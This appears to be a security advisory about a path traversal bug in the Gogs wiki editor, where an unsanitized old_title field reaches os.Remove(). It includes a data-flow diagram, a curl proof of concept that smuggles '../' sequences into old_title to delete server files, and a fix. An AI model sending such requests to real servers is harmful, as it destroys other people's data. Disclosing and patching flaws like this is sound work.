// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABILE
}

Input utente (Modulo)          Gestore della rotta                    Funzione database
┌─────────────────┐            ┌─────────────────────┐                ┌──────────────────────────┐
│ f.OldTitle      │───────────>│ EditWikiPost()      │───────────────>│ updateWikiPage()         │
│ (non sanitizzato)│           │ wiki.go:246          │                │                          │
└─────────────────┘            │                      │                │ Line 114:                │
                               │ Nessuna sanitizzazione!│              │ os.Remove(path.Join(     │
                               │                      │                │   localPath,             │
                               └──────────────────────┘                │   oldTitle+".md"))       │
                                                                       └──────────────────────────┘

# Step 1: Autenticarsi e creare/modificare una pagina wiki
# Step 2: Intercettare la richiesta POST e iniettare il traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Risultato: /tmp/target_file.md viene eliminato dal server

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... codice esistente ...

     title = ToWikiPageName(title)

+    // Sanitizzare oldTitle per prevenire path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }